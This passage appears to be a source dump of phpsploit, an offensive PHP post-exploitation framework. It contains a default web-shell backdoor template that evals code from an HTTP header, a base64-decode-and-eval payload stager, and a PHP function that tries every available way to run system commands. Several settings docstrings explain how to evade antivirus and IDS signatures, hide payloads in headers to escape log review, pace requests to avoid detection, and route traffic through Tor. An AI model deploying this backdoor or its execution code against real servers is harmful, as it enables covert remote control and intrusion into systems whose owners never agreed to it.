37 | $rand = $abspath . uniqid('/pspapi_'); 38 | if ($h = @fopen($rand, 'a')) 39 | { 40 | @fclose($h); 41 | $result = True; 42 | } 43 | else 44 | { 45 | $result = False; 46 | } 47 | @unlink($rand); 48 | @touch($abspath, $old_mtime, $old_atime); 49 | return ($result); 50 | } 51 | else 52 | return (False); 53 | } 54 | 55 | ?> 56 | -------------------------------------------------------------------------------- /src/api/php-functions/execute.php: -------------------------------------------------------------------------------- 1 | string): 4 | // Try any way to execute the given system command. 5 | // The command output is returned by the function. 6 | // 7 | // $cmd (string): 8 | // The command line string to run. 9 | // 10 | // EXAMPLE: 11 | // >>> execute("whoami") 12 | // "www-data" 13 | // 14 | // TODO: This function is probably highly optimizable. 15 | 16 | function execute($cmd) 17 | { 18 | $res = ''; 19 | 20 | if (@function_exists('exec')) 21 | { 22 | @exec($cmd, $res); 23 | $res = implode("\n", $res); 24 | } 25 | elseif (@function_exists('shell_exec')) 26 | { 27 | $res = @shell_exec($cmd); 28 | } 29 | elseif (@function_exists('system')) 30 | { 31 | @ob_start(); 32 | @system($cmd); 33 | $res = @ob_get_contents(); 34 | @ob_end_clean(); 35 | } 36 | elseif (@function_exists('passthru')) 37 | { 38 | @ob_start(); 39 | @passthru($cmd); 40 | $res = @ob_get_contents(); 41 | @ob_end_clean(); 42 | } 43 | elseif (@is_resource($f = @popen($cmd, 'r'))) 44 | { 45 | if (@function_exists('fread') && @function_exists('feof')) 46 | { 47 | while (!@feof($f)) 48 | $res .= @fread($f, 1024); 49 | } 50 | elseif (@function_exists('fgets') && @function_exists('feof')) 51 | { 52 | while (!@feof($f)) 53 | $res .= @fgets($f, 1024); 54 | } 55 | @pclose($f); 56 | } 57 | elseif (@is_resource($f = @proc_open($cmd, array(1 => array("pipe", "w")), $pipes))) 58 | { 59 | if (@function_exists('fread') && @function_exists('feof')) 60 | { 61 | while (!@feof($pipes[1])) 62 | $res .= @fread($pipes[1], 1024); 63 | } 64 | elseif (@function_exists('fgets') && @function_exists('feof')) 65 | { 66 | while (!@feof($pipes[1])) 67 | $res .= @fgets($pipes[1],1024); 68 | } 69 | @proc_close($f); 70 | } 71 | elseif (@function_exists('pcntl_exec') && @function_exists('pcntl_fork')) 72 | { 73 | $res = '[~] Blind Command Execution via [pcntl_exec]\n\n'; 74 | $pid = @pcntl_fork(); 75 | if ($pid == -1) 76 | $res .= '[-] Could not children fork. Exit'; 77 | elseif ($pid) 78 | { 79 | if (@pcntl_wifexited($status)) 80 | $res .= '[+] Done! Command "' . $cmd . '" successfully executed.'; 81 | else 82 | $res .= '[-] Error. Command incorrect.'; 83 | } 84 | else 85 | { 86 | $cmd = array(" -e 'system(\"$cmd\")'"); 87 | if (@pcntl_exec('/usr/bin/perl', $cmd)) 88 | exit (0); 89 | if (@pcntl_exec('/usr/local/bin/perl', $cmd)) 90 | exit (0); 91 | die (); 92 | } 93 | } 94 | if (!is_string($res) || empty($res)) 95 | return (""); 96 | return ($res); 97 | } 98 | 99 | ?> 100 | -------------------------------------------------------------------------------- /src/api/php-functions/fileAccess.php: -------------------------------------------------------------------------------- 1 | boolean): 4 | // Check if $abspath has $mode permission. 5 | // 6 | // $abspath (string): 7 | // This variable must link to a regular file. 8 | // $mode (char): 9 | // 'r': Check if readable 10 | // 'w': Check if writable 11 | // 'x': Check if executable 12 | // 13 | // EXAMPLE: 14 | // >>> fileAccess("/etc/passwd", 'r') 15 | // True 16 | // >>> fileAccess("/etc/passwd", 'w') 17 | // False 18 | 19 | function fileAccess($abspath, $mode) 20 | { 21 | // Assuming cases where user wants to check write access, he 22 | // will then pass 'w' as mode argument. Therefore, we just can't 23 | // allow this mode internally, because doing a fopen() with 'w' mode 24 | // will empty the file in case of success, which is clearly stupid. 25 | if ($mode != 'r' && $mode != 'x') 26 | $mode = 'a'; 27 | 28 | if ($mode == 'x') 29 | return @is_executable($abspath); 30 | 31 | // fopen() the given file path and return True in case of success 32 | $old_mtime = @filemtime($abspath); 33 | $old_atime = @fileatime($abspath); 34 | if ($h = @fopen($abspath, $mode)) 35 | { 36 | fclose($h); 37 | @touch($abspath, $old_mtime, $old_atime); 38 | return (True); 39 | } 40 | else 41 | return (False); 42 | } 43 | 44 | ?> 45 | -------------------------------------------------------------------------------- /src/api/php-functions/getGroup.php: -------------------------------------------------------------------------------- 1 | string): 4 | // Return group owner of the given file path. 5 | // 6 | // If the group owner of the file could not be determined, 7 | // the string "?" is returned as a fallback value. 8 | // 9 | // $abspath (string): 10 | // This variable should be an existing absolute file path 11 | 12 | function getGroup($abspath) 13 | { 14 | if (function_exists('posix_getgrgid')) 15 | { 16 | $gid = @filegroup($abspath); 17 | $grp = @posix_getgrgid($gid); 18 | if (@is_string($grp['name']) && !@empty($grp['name'])) 19 | return ($grp['name']); 20 | } 21 | return ("?"); 22 | } 23 | 24 | ?> 25 | -------------------------------------------------------------------------------- /src/api/php-functions/getMTime.php: -------------------------------------------------------------------------------- 1 | string): 4 | // Return $abspath file last modification time (mtime) 5 | // in $data_fmt format (the format used by the php date() function). 6 | // 7 | // $abspath (string): 8 | // This variable should be an existing absolute file path 9 | // 10 | // $date_fmt (string): 11 | // A string representing a date format. For more infos, take 12 | // a look at: http://www.php.net/manual/en/function.date.php 13 | 14 | function getMTime($abspath, $date_fmt) 15 | { 16 | $mtime = @filemtime($abspath); 17 | $result = @date($date_fmt, $mtime); 18 | return ($result); 19 | } 20 | 21 | ?> 22 | -------------------------------------------------------------------------------- /src/api/php-functions/getOwner.php: -------------------------------------------------------------------------------- 1 | string): 4 | // Return the user name that owns the given $abspath. 5 | // 6 | // If the owner of the file could not be determined, 7 | // the string "?" is returned as a fallback value. 8 | // 9 | // $abspath (string): 10 | // This variable should be an existing absolute file path 11 | 12 | function getOwner($abspath) 13 | { 14 | if (function_exists('posix_getpwuid')) 15 | { 16 | $uid = @filegroup($abspath); 17 | $usr = @posix_getpwuid($uid); 18 | if (@is_string($usr['name']) && !@empty($usr['name'])) 19 | return ($usr['name']); 20 | } 21 | return ("?"); 22 | } 23 | 24 | ?> 25 | -------------------------------------------------------------------------------- /src/api/php-functions/getSize.php: -------------------------------------------------------------------------------- 1 | string): 4 | // Returns the size of the given file path in human format. 5 | // 6 | // $abspath (string): 7 | // This variable should be an existing absolute file path 8 | // 9 | // EXAMPLE: 10 | // >>> getSize("/etc/passwd") 11 | // "1.4K" 12 | 13 | function getSize($abspath) 14 | { 15 | $size = @filesize($abspath); 16 | $units = array('', 'K', 'M', 'G', 'T'); 17 | 18 | for ($i = 0; $size >= 1024 && $i < 4; $i++) 19 | $size /= 1024; 20 | $result = str_replace('.', ',', round($size, 1)) . $units[$i]; 21 | return ($result); 22 | } 23 | 24 | ?> 25 | -------------------------------------------------------------------------------- /src/api/php-functions/matchRegexp.php: -------------------------------------------------------------------------------- 1 | boolean): 4 | // This function has a behavior similar to glob(3). 5 | // It checks if the given $name matches $regexp. 6 | // 7 | // $name (string): 8 | // A common string (may be a filename for some use cases). 9 | // 10 | // $regexp (string): 11 | // The pattern used to compare the regex. 12 | // 13 | // EXAMPLE: 14 | // >>> matchRegexp("data.txt", "*.txt") 15 | // True 16 | // >>> matchRegexp("data.txt", "[A-Z]*") 17 | // False 18 | // >>> matchRegexp("Data.txt", "[A-Z]*") 19 | // True 20 | 21 | function matchRegexp($name, $regexp) 22 | { 23 | if ($regexp == '') 24 | return (True); 25 | elseif (strstr($regexp, '*') === False) 26 | { 27 | if ($name == $regexp) 28 | return (True); 29 | else 30 | return (False); 31 | } 32 | else 33 | { 34 | $name = str_replace('.', '\.', $name); 35 | $match = '(^' . str_replace('*', '.*', $regexp) . '$)'; 36 | if (preg_match($match, $name)) 37 | return (True); 38 | else 39 | return (False); 40 | } 41 | } 42 | 43 | ?> 44 | -------------------------------------------------------------------------------- /src/api/php-functions/mysqli_compat.php: -------------------------------------------------------------------------------- 1 | 58 | -------------------------------------------------------------------------------- /src/api/php-functions/set_smart_date.php: -------------------------------------------------------------------------------- 1 | string): 4 | // Return an unix timestamp from a value returned by 5 | // phpsploit's python get_smart_date() function. 6 | // 7 | // >>> # if a date string is given, return timestamp 8 | // >>> set_smart_date("2011-09-11 13:29:42") 9 | // 1315747782 10 | // NOTE: if string is empty or NULL, function returns current time 11 | 12 | function set_smart_date($smart_date) 13 | { 14 | if ($smart_date) 15 | return strtotime($smart_date); 16 | return time(); 17 | } 18 | 19 | ?> 20 | -------------------------------------------------------------------------------- /src/api/plugin.py: -------------------------------------------------------------------------------- 1 | """Provide access to attributes of currently running plugin""" 2 | __all__ = ["plugin"] 3 | 4 | import re 5 | from core import plugins 6 | 7 | 8 | class Plugin: 9 | """Get access to currently running plugin attributes. 10 | 11 | Usage: 12 | >>> from api import plugin 13 | 14 | Attributes: 15 | 16 | * name (type: str) 17 | # Plugin name. 18 | >>> plugin.name 19 | 'foobar' 20 | 21 | * help (type: str) 22 | # Plugin docstring (detailed help). 23 | >>> print(plugin.help) 24 | [*] foobar: An imaginary phpsploit plugin 25 | DESCRIPTION: 26 | An imaginary foobar plugin description. 27 | ... 28 | 29 | * path (type: str) 30 | # Absolute path of plugin's root directory. 31 | >>> plugin.path 32 | '/home/user/phpsploit/plugins/parent_dir/foobar/' 33 | 34 | * category (type: str) 35 | # Plugin's category name (parent directory). 36 | >>> plugin.category 37 | 'Parent Dir' 38 | """ 39 | 40 | def __init__(self): 41 | pass 42 | 43 | def __getattr__(self, attr): 44 | errmsg = "type object '%s' has no attribute '%s'" 45 | if attr in dir(self): 46 | return getattr(plugins.current_plugin, attr) 47 | raise AttributeError(errmsg % (self.__class__.__name__, str(attr))) 48 | 49 | def __dir__(self): 50 | result = [] 51 | for attr in dir(plugins.current_plugin): 52 | obj = getattr(plugins.current_plugin, attr) 53 | if re.match("^[a-z]+$", attr) and not callable(obj): 54 | result.append(attr) 55 | return result 56 | 57 | 58 | # instanciate plugin object (for use within python API) 59 | plugin = Plugin() 60 | -------------------------------------------------------------------------------- /src/api/server/__init__.py: -------------------------------------------------------------------------------- 1 | """Phpsploit operations on target server. 2 | 3 | This module includes a collection of submodules 4 | designed for phpsploit server-side operations. 5 | 6 | CONTENTS: 7 | 8 | * path (type: submodule) 9 | Common operation on target server pathnames. 10 | 11 | * payload (type: submodule) 12 | The phpsploit payload request manager. 13 | """ 14 | 15 | 16 | from . import path 17 | from . import payload 18 | -------------------------------------------------------------------------------- /src/api/server/payload.py: -------------------------------------------------------------------------------- 1 | import metadict 2 | from core import session, tunnel, plugins 3 | from datatypes import Path 4 | 5 | 6 | class Payload(metadict.MetaDict): 7 | # the phpsploit env vars to auto add 8 | # to $PHPSPLOIT array on php side 9 | _unherited_env_vars = ["PATH_SEP"] 10 | 11 | _php_vars_template = 'global $PHPSPLOIT;$PHPSPLOIT=%s;\n' 12 | 13 | def __init__(self, filename, **kwargs): 14 | self.response = None 15 | for key in self._unherited_env_vars: 16 | self[key] = session.Env[key] 17 | for key, value in kwargs.items(): 18 | self[key] = value 19 | plugin_path = plugins.current_plugin.path 20 | self.payload = Path(plugin_path, filename, mode='fr').phpcode() 21 | 22 | def send(self, **kwargs): 23 | var_list = dict(self) 24 | for key, value in kwargs.items(): 25 | var_list[key] = value 26 | php_vars = self._php_vars_template % tunnel.payload.py2php(var_list) 27 | 28 | result = tunnel.send(php_vars + self.payload) 29 | if result.response_error: 30 | raise PayloadError(result.response_error) 31 | return result.response 32 | 33 | 34 | class PayloadError(Exception): 35 | """Exception raised when a send payload returned an __ERROR__ obj""" 36 | -------------------------------------------------------------------------------- /src/core/__init__.py: -------------------------------------------------------------------------------- 1 | """PhpSploit base core elements loader. 2 | 3 | The most basic PhpSploit elements manager. 4 | It handles user configuration directory, and defines 5 | basic elements such as the following strings: 6 | BASEDIR -> /path/to/phpsploit/ 7 | COREDIR -> /path/to/phpsploit/core/ 8 | USERDIR -> /home/user/.phpsploit/ 9 | """ 10 | # constant directories 11 | from src import BASEDIR, COREDIR 12 | from .config import USERDIR 13 | 14 | # session instance 15 | from .session import session 16 | 17 | # tunnel instance 18 | from .tunnel import tunnel 19 | 20 | # plugins instance 21 | from .plugins import plugins 22 | -------------------------------------------------------------------------------- /src/core/config.py: -------------------------------------------------------------------------------- 1 | """User configuration manager. 2 | 3 | Browse, initialize and load PhpSploit framework user 4 | configuration directory and elements. 5 | """ 6 | import os 7 | import errno 8 | 9 | import utils.path 10 | from datatypes import Path 11 | from . import BASEDIR 12 | 13 | 14 | class UserDir: # pylint: disable=too-few-public-methods 15 | """PhpSploit Configuration Directory 16 | """ 17 | path = None 18 | choices = ["~/.config/phpsploit", "~/.phpsploit"] 19 | 20 | def __init__(self): 21 | """Get phpsploit configuration directory, 22 | by checking, in this order of preference: 23 | - $PHPSPLOIT_CONFIG_DIR/ (only if env var exists) 24 | - $XDG_CONFIG_HOME/phpsploit/ (only if env var exists) 25 | - ~/.config/phpsploit/ 26 | - ~/.phpsploit/ 27 | 28 | If non of the above exist, directory creation is attempted 29 | with the same order of preference. Directory creation is not 30 | recursive, to parent directory must exist. 31 | 32 | If USERDIR cannot be determined, a ValueError mentioning 33 | last tried choice (~/.phpsploit/) is raised. 34 | """ 35 | if os.environ.get("XDG_CONFIG_HOME"): 36 | self.choices.insert(0, "$XDG_CONFIG_HOME/phpsploit") 37 | 38 | if os.environ.get("PHPSPLOIT_CONFIG_DIR"): 39 | self.choices.insert(0, "$PHPSPLOIT_CONFIG_DIR/") 40 | 41 | self.choices = [utils.path.truepath(c) for c in self.choices] 42 | 43 | # try to find existing USERDIR 44 | for choice in self.choices: 45 | try: 46 | self.path = Path(choice, mode="drw")() 47 | break 48 | except ValueError: 49 | pass 50 | 51 | # try to create new valid USERDIR 52 | if self.path is None: 53 | for choice in self.choices: 54 | try: 55 | os.mkdir(choice) 56 | except OSError: 57 | pass 58 | try: 59 | self.path = Path(choice, mode="drw") 60 | break 61 | except ValueError as e: 62 | if choice == self.choices[-1]: 63 | raise e 64 | 65 | self.fill() # finally, fill it with default content 66 | 67 | def fill(self): 68 | """Add user configuration dir's default content.""" 69 | 70 | # create default $USERDIR/config if it doesn't exist 71 | config = utils.path.truepath(self.path, "config") 72 | if not os.path.isfile(config): 73 | with open(BASEDIR + "data/config/config") as file: 74 | default_config = file.read() 75 | with open(config, 'w') as file: 76 | file.write(default_config) 77 | 78 | # always override $USERDIR/README 79 | with open(BASEDIR + "data/config/README") as file: 80 | readme = file.read() 81 | with open(utils.path.truepath(self.path, "README"), "w") as file: 82 | file.write(readme) 83 | 84 | # create $USERDIR/plugins/ it doesn;t exist 85 | dirs = ["plugins"] 86 | for elem in dirs: 87 | elem = utils.path.truepath(self.path, elem) 88 | try: 89 | os.mkdir(elem) 90 | except OSError as e: 91 | if e.errno != errno.EEXIST or not os.path.isdir(elem): 92 | raise e 93 | 94 | 95 | # define user directory path 96 | USERDIR = UserDir().path 97 | -------------------------------------------------------------------------------- /src/core/encoding.py: -------------------------------------------------------------------------------- 1 | """Generic encoding handler. 2 | 3 | This small string encoding/decoding manager aims to provide 4 | an uniform encoding handling policy for the phpsploit framework. 5 | """ 6 | 7 | import sys 8 | import codecs 9 | 10 | 11 | try: 12 | codecs.lookup("utf-8") 13 | default_encoding = "utf-8" 14 | except LookupError: 15 | default_encoding = sys.getdefaultencoding() 16 | 17 | try: 18 | codecs.lookup_error("surrogateescape") 19 | default_errors = "surrogateescape" 20 | except LookupError: 21 | default_errors = "strict" 22 | 23 | 24 | def encode(str_obj, encoding=default_encoding, errors=default_errors): 25 | """Encode the given bytes object with `encoding` encoder 26 | and `errors` error handler. 27 | If not set, `encoding` defaults to module's `default_encoding` variable. 28 | If not set, `errors` defaults to module's `default_errors` variable. 29 | """ 30 | bytes_obj = str_obj.encode(encoding, errors) 31 | return bytes_obj 32 | 33 | 34 | def decode(bytes_obj, encoding=default_encoding, errors=default_errors): 35 | """Decode the given bytes object with `encoding` decoder 36 | and `errors` error handler. 37 | If not set, `encoding` defaults to module's `default_encoding` variable. 38 | If not set, `errors` defaults to module's `default_errors` variable. 39 | """ 40 | str_obj = bytes_obj.decode(encoding, errors) 41 | return str_obj 42 | -------------------------------------------------------------------------------- /src/core/plugins/exceptions.py: -------------------------------------------------------------------------------- 1 | """Plugin-related exceptions 2 | """ 3 | 4 | 5 | class BadPlugin(Exception): 6 | """Invalid plugin exception""" 7 | -------------------------------------------------------------------------------- /src/core/session/history.py: -------------------------------------------------------------------------------- 1 | """Session History 2 | """ 3 | 4 | class History(list): 5 | """Commands history. 6 | 7 | This class is a specialisation of the list() obj, designed 8 | to store command line strings only. 9 | 10 | It maintains a `size` property which gives the full size (in bytes) 11 | of all strings in array. 12 | 13 | To do it, the class operates overriding append(), pop() and clear() 14 | methods to keep the current size updated in real time. 15 | 16 | """ 17 | MAX_SIZE = 10000 18 | size = 0 19 | 20 | def append(self, string): 21 | if not isinstance(string, str): 22 | raise ValueError("Only strings could be added to history") 23 | while len(self) >= self.MAX_SIZE: 24 | self.pop(0) 25 | self.size += len(string) 26 | super().append(string) 27 | 28 | def pop(self, index=-1): 29 | try: 30 | self.size -= len(self[index]) 31 | except IndexError: 32 | pass 33 | super().pop(index) 34 | 35 | def clear(self): 36 | self.size = 0 37 | super().clear() 38 | -------------------------------------------------------------------------------- /src/core/session/settings/BACKDOOR.py: -------------------------------------------------------------------------------- 1 | """ 2 | This setting allows overriding default backdoor template. 3 | It is used to generate the backdoor to be injected in TARGET url. 4 | 5 | This setting can be changed to improve stealth. Using a different 6 | template than the default one is a good was to bypass static 7 | Antivirus/IDS signatures. 8 | 9 | Make sure that the global behavior remains the same. 10 | Indeed, BACKDOOR must evaluate the content of 'HTTP_%%PASSKEY%%' 11 | header to work properly. 12 | 13 | NOTE: %%PASSKEY%% is a magic string that is replaced by PASSKEY 14 | value at runtime. 15 | 16 | * Only edit BACKDOOR if you really understand what you're doing 17 | """ 18 | import linebuf 19 | import datatypes 20 | 21 | 22 | linebuf_type = linebuf.RandLineBuffer 23 | 24 | 25 | def validator(value): 26 | if value.find("%%PASSKEY%%") < 0: 27 | raise ValueError("shall contain %%PASSKEY%% string") 28 | return datatypes.PhpCode(value) 29 | 30 | 31 | def default_value(): 32 | return("@eval($_SERVER['HTTP_%%PASSKEY%%']);") 33 | -------------------------------------------------------------------------------- /src/core/session/settings/BROWSER.py: -------------------------------------------------------------------------------- 1 | """ 2 | Set attacker's default Web Browser in phpsploit's context. 3 | 4 | * USE CASES: 5 | The '--browser' option of `phpinfo` plugin uses this setting 6 | to display remote server's informations locally: 7 | > phpinfo --browser 8 | """ 9 | import linebuf 10 | import datatypes 11 | 12 | 13 | linebuf_type = linebuf.RandLineBuffer 14 | 15 | 16 | def validator(value): 17 | return datatypes.WebBrowser(value) 18 | 19 | 20 | def default_value(): 21 | return "default" 22 | -------------------------------------------------------------------------------- /src/core/session/settings/CACHE_SIZE.py: -------------------------------------------------------------------------------- 1 | """ 2 | Set the maximum phpsploit session file size. 3 | 4 | While using the phpsploit framework, some usage informations 5 | are stored, such as commands history. 6 | Changing this limit ensures that the session, if saved whith 7 | `session save` command will not exceed a certain size. 8 | 9 | * USE CASES: 10 | phpsploit's history uses this value to determine the maximum 11 | number of command lines to store in session file. 12 | """ 13 | import linebuf 14 | import datatypes 15 | 16 | linebuf_type = linebuf.MultiLineBuffer 17 | 18 | 19 | def validator(value): 20 | return datatypes.ByteSize(value) 21 | 22 | 23 | def default_value(): 24 | return "1 MiB" 25 | -------------------------------------------------------------------------------- /src/core/session/settings/EDITOR.py: -------------------------------------------------------------------------------- 1 | """ 2 | Set attacker's prefered text editor. 3 | 4 | * USE CASES: 5 | 6 | # open TARGET setting content with EDITOR: 7 | > set TARGET + 8 | 9 | # use `edit` plugin to edit a remote file locally with EDITOR: 10 | > edit /var/www/html/index.php 11 | """ 12 | import os 13 | import linebuf 14 | import datatypes 15 | 16 | 17 | linebuf_type = linebuf.MultiLineBuffer 18 | 19 | 20 | def validator(value): 21 | return datatypes.ShellCmd(value) 22 | 23 | 24 | def default_value(): 25 | raw_value = "vi" 26 | if "EDITOR" in os.environ: 27 | raw_value = os.environ["EDITOR"] 28 | return raw_value 29 | -------------------------------------------------------------------------------- /src/core/session/settings/PASSKEY.py: -------------------------------------------------------------------------------- 1 | """ 2 | HTTP Header to use as main phpsploit payload stager for RCE. 3 | 4 | PASSKEY is used by BACKDOOR setting, and phpsploit's http 5 | tunnel mechanisms as the main payload stager & dispatcher. 6 | 7 | While exploiting a remote TARGET with phpsploit, make sure 8 | PASSKEY have the same value as the one it had when backdoor 9 | had been generated. 10 | 11 | * AUTHENTICATION FEATURE: 12 | It is recommended that you permanently change PASSKEY value 13 | to a custom value for authentication purposes. 14 | Indeed, having a custom PASSKEY value ensures that other 15 | phpsploit users will not be able to connect to your installed 16 | backdoor without the knowledge of it's value. 17 | 18 | * EXAMPLE: Use a custom PASSKEY to prevent unauthorized access 19 | > set PASSKEY Custom123 20 | > exploit 21 | # [*] Current backdoor is: 22 | # To run a remote tunnel, the backdoor shown above must be 23 | # manually injected in a remote server executable web page. 24 | # Then, use `set TARGET ` and run `exploit`. 25 | """ 26 | import re 27 | 28 | import linebuf 29 | 30 | 31 | linebuf_type = linebuf.MultiLineBuffer 32 | 33 | 34 | def validator(value): 35 | value = str(value) 36 | reserved_headers = ['host', 'accept-encoding', 'connection', 37 | 'user-agent', 'content-type', 'content-length'] 38 | if not value: 39 | raise ValueError("can't be an empty string") 40 | if not re.match("^[a-zA-Z0-9_]+$", value): 41 | raise ValueError("only chars from set «a-Z0-9_» are allowed") 42 | if re.match('^zz[a-z]{2}$', value.lower()) or \ 43 | value.lower().replace('_', '-') in reserved_headers: 44 | raise ValueError("reserved header name: «{}»".format(value)) 45 | return value 46 | 47 | 48 | def default_value(): 49 | raw_value = "phpSpl01t" 50 | return raw_value 51 | -------------------------------------------------------------------------------- /src/core/session/settings/PAYLOAD_PREFIX.py: -------------------------------------------------------------------------------- 1 | """ 2 | This variable contains php code which is interpreted 3 | on each http request, just before payload execution. 4 | 5 | This setting can be used for example in order to 6 | override a php configuration option with a value 7 | that extends execution scope. 8 | 9 | The code will be executed before ANY payload execution. 10 | 11 | * Only edit PAYLOAD_PREFIX if you really understand what you're doing 12 | """ 13 | import core 14 | import linebuf 15 | import datatypes 16 | 17 | 18 | linebuf_type = linebuf.MultiLineBuffer 19 | 20 | 21 | def validator(value): 22 | return datatypes.PhpCode(value) 23 | 24 | 25 | def default_value(): 26 | file_relpath = "data/tunnel/payload_prefix.php" 27 | file = datatypes.Path(core.BASEDIR, file_relpath) 28 | return file.read() 29 | -------------------------------------------------------------------------------- /src/core/session/settings/PROXY.py: -------------------------------------------------------------------------------- 1 | """ 2 | Use a proxy to connect to the target 3 | 4 | You can set a proxy in order to encapsulate the whole phpsploit 5 | requests for furtivity or network analysis purposes. 6 | 7 | This setting supports HTTP, HTTPS, SOCKS4, SOCKS4A, SOCKS5 8 | and SOCKS5H proxy schemes. 9 | 10 | PROXY SYNTAX: ://
: 11 | 12 | * EXAMPLES: 13 | 14 | # To unset PROXY, set it's value to 'None' magic string: 15 | > set PROXY None 16 | 17 | # To set a socks5 proxy to connect through Tor: 18 | > set PROXY socks5://127.0.0.1:9050 19 | """ 20 | import linebuf 21 | import datatypes 22 | 23 | 24 | linebuf_type = linebuf.RandLineBuffer 25 | 26 | 27 | def validator(value): 28 | return datatypes.Proxy(value) 29 | 30 | 31 | def default_value(): 32 | return None 33 | -------------------------------------------------------------------------------- /src/core/session/settings/REQ_DEFAULT_METHOD.py: -------------------------------------------------------------------------------- 1 | """ 2 | Default HTTP method to use to communicate with TARGET. 3 | 4 | The phpsploit framework supports both GET and POST methods 5 | to send HTTP requests 6 | 7 | * GET METHOD: 8 | ------------- 9 | # BEHAVIOR: 10 | The PASSKEY payload stager is passed as a single HTTP header, 11 | and a set of HTTP headers are created, and fullfilled with 12 | a portion of the payload, respecting limitations imposed 13 | by REQ_MAX_HEADERS and REQ_MAX_HEADER_SIZE settings. 14 | # PROS: 15 | This method is usually the stealthiest one, as common log 16 | analysis softwares don't analyse HTTP Headers at all. 17 | # CONS: 18 | The amount of data that can be injected is limited by remote 19 | server's REQ_MAX_HEADERS and REQ_MAX_HEADER_SIZE. 20 | So phpsploit may need to run multi-request payloads more 21 | frequently. 22 | 23 | * POST METHOD: 24 | -------------- 25 | # BEHAVIOR: 26 | The PASSKEY payload stager is passed as a single HTTP header, 27 | and the final payload is sent as a big POSTDATA argument 28 | (named with PASSKEY), respecting limitations imposed 29 | by REQ_MAX_POST_SIZE setting. 30 | # PROS: 31 | Remote server's REQ_MAX_POST_SIZE has generally a large value, 32 | So big payloads can be sent through a single HTTP request, 33 | instead of sending a lot of GET multi-requests. 34 | # CONS: 35 | Triggering a lot of POST requests on TARGET url can raise 36 | suspicion, as this kind of request is not expected on 37 | most of URLs. 38 | """ 39 | import linebuf 40 | 41 | 42 | linebuf_type = linebuf.RandLineBuffer 43 | 44 | 45 | def validator(value): 46 | value = value.upper() 47 | if value not in ["GET", "POST"]: 48 | raise ValueError("available methods: GET/POST") 49 | return value 50 | 51 | 52 | def default_value(): 53 | return "GET" 54 | -------------------------------------------------------------------------------- /src/core/session/settings/REQ_HEADER_PAYLOAD.py: -------------------------------------------------------------------------------- 1 | """ 2 | Override default payload stager template. 3 | It is used as PASSKEY HTTP Header value to execute the final 4 | php payload. 5 | 6 | This setting can be changed to improve stealth. Using a different 7 | template than the default one is a good was to bypass static 8 | Antivirus/IDS signatures. 9 | 10 | Make sure that the global behavior remains the same. 11 | Indeed, REQ_HEADER_PAYLOAD must base64_decode() '%%BASE64%%', 12 | then eval() it to work properly. 13 | 14 | NOTE: %%BASE64%% is a magic string that is replaced by the 15 | base64 payload to be executed at runtime. 16 | 17 | * Only edit REQ_HEADER_PAYLOAD if you understand what you're doing 18 | """ 19 | import linebuf 20 | import datatypes 21 | 22 | 23 | linebuf_type = linebuf.RandLineBuffer 24 | 25 | 26 | def validator(value): 27 | if value.find("%%BASE64%%") < 0: 28 | raise ValueError("shall contain %%BASE64%% string") 29 | return datatypes.PhpCode(value) 30 | 31 | 32 | def default_value(): 33 | return "eval(base64_decode('%%BASE64%%'))" 34 | -------------------------------------------------------------------------------- /src/core/session/settings/REQ_INTERVAL.py: -------------------------------------------------------------------------------- 1 | """ 2 | Interval (in seconds) to wait between HTTP requests. 3 | 4 | While sending large payload (like uploading a big file with 5 | `upload` plugin), this setting can improve stealth by 6 | preventing the remove IDS to raise alerts or block your IP 7 | due to excess of consecutive HTTP requests. 8 | 9 | * EXAMPLES: 10 | 11 | # randomly sleep between 1 and 10 seconds between requests: 12 | > set REQ_INTERVAL 1-10 13 | 14 | # sleep exactly 3 seconds between requests: 15 | > set REQ_INTERVAL 3 16 | """ 17 | 18 | import linebuf 19 | import datatypes 20 | 21 | 22 | linebuf_type = linebuf.RandLineBuffer 23 | 24 | 25 | def validator(value): 26 | return datatypes.Interval(value) 27 | 28 | 29 | def default_value(): 30 | return "1-10" 31 | -------------------------------------------------------------------------------- /src/core/session/settings/REQ_MAX_HEADERS.py: -------------------------------------------------------------------------------- 1 | """ 2 | Define how many HTTP Headers can be sent in a request. 3 | 4 | This setting is needed to tell phpsploit to generate HTTP 5 | requests that are acceptable for the target server. 6 | 7 | * EXAMPLE: 8 | Most http servers allow up to 100 Headers per HTTP request. 9 | Therefore, if the server is configured to only allow up 10 | to 20 headers, phpsploit could fail to execute payloads 11 | unless you change value of REQ_MAX_HEADERS to 20: 12 | > set REQ_MAX_HEADERS 20 13 | 14 | * NOTE: 15 | If you encounter http error 500 or if payload execution fails, 16 | you may need to lower the default limit of this setting. 17 | 18 | * REFERENCES: 19 | http://httpd.apache.org/docs/2.2/mod/core.html#LimitRequestFieldSize 20 | """ 21 | import linebuf 22 | 23 | 24 | linebuf_type = linebuf.RandLineBuffer 25 | 26 | 27 | def validator(value): 28 | if 10 <= int(value) <= 680: 29 | return int(value) 30 | raise ValueError("must be an integer from 10 to 680") 31 | 32 | 33 | def default_value(): 34 | return 100 35 | -------------------------------------------------------------------------------- /src/core/session/settings/REQ_MAX_HEADER_SIZE.py: -------------------------------------------------------------------------------- 1 | """ 2 | Set the maximum length of a single HTTP Header. 3 | 4 | This setting is needed to tell phpsploit to generate HTTP 5 | requests that are acceptable for the target server. 6 | 7 | * EXAMPLE: 8 | Most http servers allow up to 4KB of data per HTTP Header. 9 | Therefore, if the server is configured to only allow up to 10 | 500 bytes Headers, phpsploit could fail to execute payloads 11 | unless you change value of REQ_MAX_HEADER_SIZE to 500: 12 | > set REQ_MAX_HEADER_SIZE 500 13 | 14 | * NOTE: 15 | If you encounter http error 500 or if payload execution fails, 16 | you may need to lower the default limit of this setting. 17 | 18 | * REFERENCES: 19 | http://httpd.apache.org/docs/2.2/mod/core.html#LimitRequestFields 20 | """ 21 | import linebuf 22 | import datatypes 23 | 24 | 25 | linebuf_type = linebuf.RandLineBuffer 26 | 27 | 28 | def validator(value): 29 | value = datatypes.ByteSize(value) 30 | if 250 > value: 31 | raise ValueError("can't be less than 250 bytes") 32 | return value 33 | 34 | 35 | def default_value(): 36 | return "4 KiB" 37 | -------------------------------------------------------------------------------- /src/core/session/settings/REQ_MAX_POST_SIZE.py: -------------------------------------------------------------------------------- 1 | """ 2 | Set max size of POST data allowed in an HTTP request. 3 | 4 | This setting is needed to tell phpsploit to generate HTTP 5 | requests that are acceptable for the target server. 6 | 7 | * EXAMPLE: 8 | Most http servers allow up to 4MiB per request message body. 9 | Therefore, if the server is configured to only allow up 10 | to 300KiB, phpsploit could fail to execute payloads 11 | unless you change value of REQ_MAX_HEADERS to 300 KiB: 12 | > set REQ_MAX_HEADERS 300KiB 13 | 14 | * NOTE: 15 | 